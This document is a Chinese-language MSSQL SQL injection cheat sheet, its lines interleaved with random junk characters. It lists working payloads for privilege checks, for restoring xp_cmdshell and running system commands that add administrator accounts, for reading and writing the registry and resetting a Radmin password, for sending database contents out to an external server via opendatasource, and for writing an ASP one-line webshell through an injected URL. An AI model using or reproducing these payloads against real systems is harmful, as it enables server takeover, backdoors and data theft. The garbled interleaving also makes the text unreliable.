//看看是什么权限的" `% z" B% B8 p" P1 G2 G
and 1=(Select IS_MEMBER('db_owner'))
- J( G2 q7 A3 u, ?0 ~And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
+ q+ q3 ?7 B3 L7 w& ^: z3 x
1 h- w: p" Y& n; X( B//检测是否有读取某数据库的权限7 V, P m* r- f! P( F, E
and 1= (Select HAS_DBACCESS('master'))
" ~% o1 p! o7 D9 Y9 w& pAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
# d F4 f9 V+ Q. `5 f9 z' o
0 b' N7 q! M B! c2 X% p0 _
) U( V' H. W g2 d% h数字类型
* x1 `& B0 ? s2 U# kand char(124)%2Buser%2Bchar(124)=0) H6 L# F2 _( i2 \1 J$ L4 c4 [+ S
. b, x9 K m, Y' S( q! m; k1 {8 B字符类型
) p4 A) e0 p' N8 H' and char(124)%2Buser%2Bchar(124)=0 and ''='8 H; ?6 T5 n6 i; B/ a
- W) Y# ^: d% C ]搜索类型. t; p4 e+ b- S N3 N4 |: Q Q
' and char(124)%2Buser%2Bchar(124)=0 and '%'='3 Q! l' w, F6 F0 W+ \- _
6 u4 k! P8 Y+ m爆用户名1 D" Q" [( \+ ]) H4 u$ r
and user>0( K' U: g4 I2 X, t
' and user>0 and ''='
. d5 Y/ r0 A' J1 l; e. f* Z3 P6 x) c- L$ g7 ^! r; H8 V& z
检测是否为SA权限3 c8 i3 ^3 O9 i- [9 G/ t+ F- t
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
% Y# R, e( p6 _( ?And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
$ n& A8 y- d6 Y" k ]0 e- T' h# ?/ {! q
检测是不是MSSQL数据库
% H% r' U5 }& c0 e' Xand exists (select * from sysobjects);-- K6 V2 I& t4 a8 T6 f! Y( S7 }
/ P7 }' F# R0 k; a/ ?检测是否支持多行3 I5 i; B9 Q" y+ ]7 n
;declare @d int;--
; w" p) J5 J# z% g
j) x- i7 ?% ~4 J5 ` h恢复 xp_cmdshell
% ~1 g% J9 |6 X$ u. H) e3 a* ~;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
; i# _2 P. g& q4 Q3 Q1 G% A
6 q c4 |* U/ `$ L* e2 b
- u1 ^4 _" D* Q: L0 Wselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
E) Q; d# r( d3 Q
( [8 }; ?' q9 z) q, I0 n; ^1 }//-----------------------" m" U- e& U7 ]2 `/ e$ Q7 O
// 执行命令+ c8 k) c# d. Z2 ?
//-----------------------
. z/ k5 G! _! d1 O) p首先开启沙盘模式:
2 `. ? Q% t2 U4 T+ a' \exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
2 D& D+ r, W+ i9 K g* V- n4 I0 F- |
然后利用jet.oledb执行系统命令
9 I/ K# j: F9 L) v( N! Vselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
) r0 a) {; m# f6 ^9 j% B/ D# r( @8 N! ?; i: }) w
执行命令/ d1 ?0 W' R, |
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
; T2 y& Q) p' M; i
9 N1 {1 @( ]/ z2 L0 E2 dEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'$ z" \2 Y( G# I, v4 F( @
1 Z- y3 W; o0 h" x% b3 S; \判断xp_cmdshell扩展存储过程是否存在:
% x3 ]% G% K: X0 s8 @) xhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
U- A8 q+ |0 a$ `3 _$ F5 ~2 r4 k* o& P, Y' z* a
写注册表
* G) b% J/ Q t, H( f* y! xexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',18 L6 E( d G9 l& [& `- R
# M! A! {3 V# I! GREG_SZ* c3 N" h+ ~; O
/ W- _7 A" T6 H6 r. e1 Y
读注册表
( }, H8 u! t# _1 Kexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'& D. u. R; R; C4 ~5 ?
- O" i# w! k) C8 Y读取目录内容
8 l5 d! u5 y$ r/ N8 C. |) @exec master..xp_dirtree 'c:\winnt\system32\',1,1
9 I4 k( J1 `: r+ _+ w, Q- G, }/ X+ `, `2 E' |/ [; {! H
4 K: E/ c0 v& U
数据库备份
' I( ?7 u' W( c6 G' Abackup database pubs to disk = 'c:\123.bak'
6 N b, w3 L# _5 \! `$ l z1 i. P7 X2 D: n. D! Z0 U2 _' w/ \9 E
//爆出长度! s0 `% t, f o
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
4 z* K+ l1 S5 }- n" }
9 E$ J. o; _- s& C. h, g+ O* b+ T/ N5 H5 y6 E0 `
* T+ u, j! x1 W1 q2 c3 Z更改sa口令方法:用sql综合利用工具连接后,执行命令:, r0 a6 ]: ~" L
exec sp_password NULL,'新密码','sa'. d( t. h7 S! b1 o
0 g- z. y; l- B/ |6 D
添加和删除一个SA权限的用户test:3 Z: u! S$ L. i+ C" g( R
exec master.dbo.sp_addlogin test,9530772( B& N; j3 T. |" @* O9 m& B
exec master.dbo.sp_addsrvrolemember test,sysadmin
+ w) v# W" p& f! d( p. t, |4 p& |) |/ n- M6 a v( I$ Y
删除扩展存储过过程xp_cmdshell的语句:
! H2 i$ y( m5 {3 c. C% \ @3 ]exec sp_dropextendedproc 'xp_cmdshell'
+ {! B. t }/ H! w0 r3 N8 {$ ~% d$ R1 q) A% }6 K
添加扩展存储过过程
$ t4 k s7 t7 U! XEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
d- g6 z$ S$ j( N( s9 p2 uGRANT exec On xp_proxiedadata TO public
& f& a8 O" ?, C6 Y' }# Z( N% I) U) {
; h3 p! Z2 W; A" i B8 R停掉或激活某个服务。
/ n% E/ {* X' Y+ w8 H) g, v1 }4 A$ `7 S. z3 B
exec master..xp_servicecontrol 'stop','schedule'
3 X- [( H: q. p* \+ m& }" x- n% f0 mexec master..xp_servicecontrol 'start','schedule') f" N( P8 G7 d: c+ {- F
+ ^! y. M& w7 d) e* A6 _: w5 sdbo.xp_subdirs
. h; @3 u0 f8 U8 x/ j8 A. R: x5 s8 s8 V/ O; c: R0 e
只列某个目录下的子目录。
2 }: I4 w* B$ m9 O6 o" Ixp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
, b0 Y& @( u7 u/ b3 ]4 X
0 R+ r- [! ^8 ^% idbo.xp_makecab
3 D% B' T" b" g1 S5 G7 i) D1 o! s; G& ]4 G9 Y Z! J
将目标多个档案压缩到某个目标档案之内。
+ H" ~- d) f; ~1 h0 O3 h所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
6 o4 g+ B& ?! F+ C: ]. e/ C/ m: b: P T) K! z4 s
dbo.xp_makecab
/ |& y% }: D" p- `/ `'c:\test.cab','mszip',1,8 J, [* R% x) b% `* s" j* [
'C:\Inetpub\wwwroot\SQLInject\login.asp',5 t' J1 s5 x' r! a2 @4 w% ^' v
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'4 c5 W0 X C7 c2 t6 V9 | o9 `; `
\' _* x1 `; c F9 i
xp_terminate_process* J4 o# }" \5 ]5 `
8 }* j+ X, |- F6 s7 g3 o停掉某个执行中的程序,但赋予的参数是 Process ID。( z2 v z9 b" L) S4 [
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
0 g* B( ?2 k+ r* F$ m4 r- b" |/ p( h' \' O! U8 W+ i
xp_terminate_process 24845 K; i5 y4 y; p! s
% B8 V/ N" P. txp_unpackcab
+ Y- K: \3 M- `0 X
# J C' t4 F0 E: T解开压缩档。
+ V/ {6 b/ i* r, e" C
$ {0 Y2 | ]8 h& {2 Bxp_unpackcab 'c:\test.cab','c:\temp',1
$ h3 V1 l P- c# h8 a0 ^. r2 s
. x/ \4 z" w V+ Z2 T! b c
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
( [4 `2 v2 y+ U/ r
- q7 h) A( _: D+ kcreate database lcx;4 c3 T, B$ ~7 C# A2 x* L9 I; K" U
Create TABLE ku(name nvarchar(256) null);2 a9 k* F* k* H$ I; m5 v: R9 Q! F
Create TABLE biao(id int NULL,name nvarchar(256) null);8 w( j+ O! [9 E
9 a8 s* U2 k. e1 E
//得到数据库名
* y, z- u3 l1 a! Oinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
" P9 R9 T8 ^* i' X7 K8 \
& [& l9 _- j+ W' K* ^' b0 i2 S! Y: c) i1 Z' X
//在Master中创建表,看看权限怎样
( V! ?/ k0 s' |% }4 w9 KCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--: l0 p8 X' t# q. x, ]
5 P2 v/ O9 A @+ ^. g& O用 sp_makewebtask直接在web目录里写入一句话马:; y" p" E2 g' O8 x' R' i9 {
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--$ T+ W/ h3 [2 I. u" S- C( G
2 f- b7 z* D2 g; a( H J7 `//更新表内容
9 k9 e) x* t( k+ G! E8 z& UUpdate films SET kind = 'Dramatic' Where id = 1239 W( V# [. g( V7 y
% H W% \: R4 W* l7 {//删除内容
# p: |1 |: J) ^+ b4 }delete from table_name where Stockid = 3 |